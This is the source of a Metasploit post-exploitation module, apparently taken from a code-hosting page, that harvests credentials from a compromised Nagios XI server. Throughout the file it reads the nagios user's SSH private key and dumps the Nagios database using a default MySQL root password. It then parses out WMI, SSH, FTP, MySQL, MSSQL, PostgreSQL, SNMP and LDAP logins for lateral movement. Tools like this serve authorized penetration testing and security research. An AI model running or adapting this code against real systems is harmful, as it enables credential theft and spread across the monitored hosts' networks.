Path: blob/master/modules/post/linux/gather/enum_nagios_xi.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Linux::System7include Msf::Exploit::FileDropper89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Nagios XI Enumeration',14'Description' => %q{15NagiosXI may store credentials of the hosts it monitors. This module extracts these credentials,16creating opportunities for lateral movement.17},18'License' => MSF_LICENSE,19'Author' => [20'Cale Smith', # @0xC41321],22'DisclosureDate' => '2018-04-17',23'Platform' => 'linux',24'SessionTypes' => ['shell', 'meterpreter'],25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [],28'Reliability' => []29}30)31)32register_options([33OptString.new('DB_ROOT_PWD', [true, 'Password for DB root user, an option if they change this', 'nagiosxi' ])34])35end3637# save found creds in the MSF DB for easy use38# , login)39def report_obj(cred, login)40return if cred.nil? || login.nil?4142credential_data = {43origin_type: :session,44post_reference_name: fullname,45session_id: session_db_id,46workspace_id: myworkspace_id47}.merge(cred)48credential_core = create_credential(credential_data)4950login_data = {51core: credential_core,52workspace_id: myworkspace_id53}.merge(login)5455create_credential_login(login_data)56end5758# parse out domain realm for windows services59def parse_realm(username)60userealm = username.split('/')6162if userealm.count > 163realm = userealm[0]64username = userealm[1]6566credential_data = {67realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,68realm_value: realm,69username: username70}71else72credential_data = {73username: username74}75end7677credential_data78end7980def run81@peer = "#{session.session_host}:#{session.session_port}"8283@creds = []84@ssh_keys = []8586# get nagios SSH private key87id_rsa_path = '/home/nagios/.ssh/id_rsa'88if file?(id_rsa_path)89print_good('Attempting to grab Nagios SSH key')90ssh_key = read_file(id_rsa_path)91ssh_key_loot = store_loot(92'nagios_ssh_priv_key',93'text/plain',94session,95ssh_key,96nil97)98print_status("Nagios SSH key stored in #{ssh_key_loot}")99else100print_status('No SSH key found')101end102103print_status('Attempting to dump Nagios DB')104db_dump_file = "/tmp/#{Rex::Text.rand_text_alpha(6)}"105106sql_query = %(mysql -u root -p#{datastore['DB_ROOT_PWD']} -e ")107sql_query << %|SELECT nagios_services.check_command_object_id, nagios_hosts.address, REPLACE(nagios_services.check_command_args,'\\"','%22') FROM nagios.nagios_hosts |108sql_query << %(INNER JOIN nagios.nagios_services on nagios_hosts.host_object_id=nagios_services.host_object_id )109sql_query << %(INNER JOIN nagios.nagios_commands on nagios_commands.object_id = nagios_services.check_command_object_id )110sql_query << %(WHERE nagios_services.check_command_object_id!=89 )111sql_query << %(ORDER BY nagios_services.check_command_object_id )112sql_query << %(INTO OUTFILE '#{db_dump_file}' FIELDS TERMINATED BY ',' ENCLOSED BY '\\"' LINES TERMINATED BY '\\n' ;")113114out = cmd_exec(sql_query)115if out.match(/error/i)116print_error("Could not get DB contents: #{out.gsub(/\n/, ' ')}")117return118end119120db_dump = read_file(db_dump_file)121print_good('Nagios DB dump successful')122# store raw db results, there is likely good stuff in here that we don't parse out123db_loot = store_loot(124'nagiosxi_raw_db_dump',125'text/plain',126session,127db_dump,128nil129)130print_status("Raw Nagios DB dump #{db_loot}")131print_status("Look through the DB dump manually. There could be\ some good loot we didn't parse out.")132133CSV.parse(db_dump) do |row|134case row[0]135when '110' # WMI136host = row[1]137creds = row[2].split('!')138username = creds[0].match(/'(.*?)'/)[1]139password = creds[1].match(/'(.*?)'/)[1]140141user_credential_data = parse_realm(username)142143credential_data = {144private_data: password,145private_type: :password146}.merge(user_credential_data)147148login_data = {149address: host,150port: 135,151service_name: 'WMI',152protocol: 'tcp'153}154155when '59' # SSH156host = row[1]157158credential_data = {159username: 'nagios',160private_data: ssh_key,161private_type: :ssh_key162}163164login_data = {165address: host,166port: 22,167service_name: 'SSH',168protocol: 'tcp'169}170171when '25' # FTP172host = row[1]173creds = row[2].split('!')174username = creds[0]175password = creds[1]176177credential_data = {178username: username,179private_data: password,180private_type: :password181}182183login_data = {184address: host,185port: 21,186service_name: 'FTP',187protocol: 'tcp'188}189190when '67' # MYSQL191host = row[1]192username = row[2].match(/--username=(.*?)\s/)[1]193password = row[2].match(/--password=%22(.*?)%22/)[1]194195credential_data = {196username: username,197private_data: password,198private_type: :password199}200201login_data = {202address: host,203port: 3306,204service_name: 'MySQL',205protocol: 'tcp'206}207208when '66' # MSSQL209host = row[1]210username = row[2].match(/-U '(.*?)'/)[1]211password = row[2].match(/-P '(.*?)'/)[1]212213user_credential_data = parse_realm(username)214credential_data = {215private_data: password,216private_type: :password217}.merge(user_credential_data)218219login_data = {220address: host,221port: 1433,222service_name: 'MSSQL',223protocol: 'tcp'224}225226when '76' # POSTGRES227host = row[1]228username = row[2].match(/--dbuser=(.*?)\s/)[1]229password = row[2].match(/--dbpass=%22(.*?)%22/)[1]230231credential_data = {232username: username,233private_data: password,234private_type: :password235}236237login_data = {238address: host,239port: 5432,240service_name: 'PostgreSQL',241protocol: 'tcp'242}243244when '85' # SNMP245host = row[1]246creds = row[2].split('!')247password = ' '248username = creds[0]249250credential_data = {251username: username,252private_data: password,253private_type: :password254}255256login_data = {257address: host,258port: 161,259service_name: 'SNMP',260protocol: 'udp'261}262263when '88' # LDAP264host = row[1]265username = row[2].match(/-D %22(.*?)%22/)[1]266password = row[2].match(/-P %22(.*?)%22/)[1]267268credential_data = {269username: username,270private_data: password,271private_type: :password272}273274login_data = {275address: host,276port: 389,277service_name: 'LDAP',278protocol: 'tcp'279}280end281282unless credential_data.nil? || login_data.nil?283report_obj(credential_data, login_data)284end285end286287print_status("Run 'creds' to see credentials loaded into the MSF DB")288289# cleanup db dump290register_file_for_cleanup(db_dump_file)291end292end293294295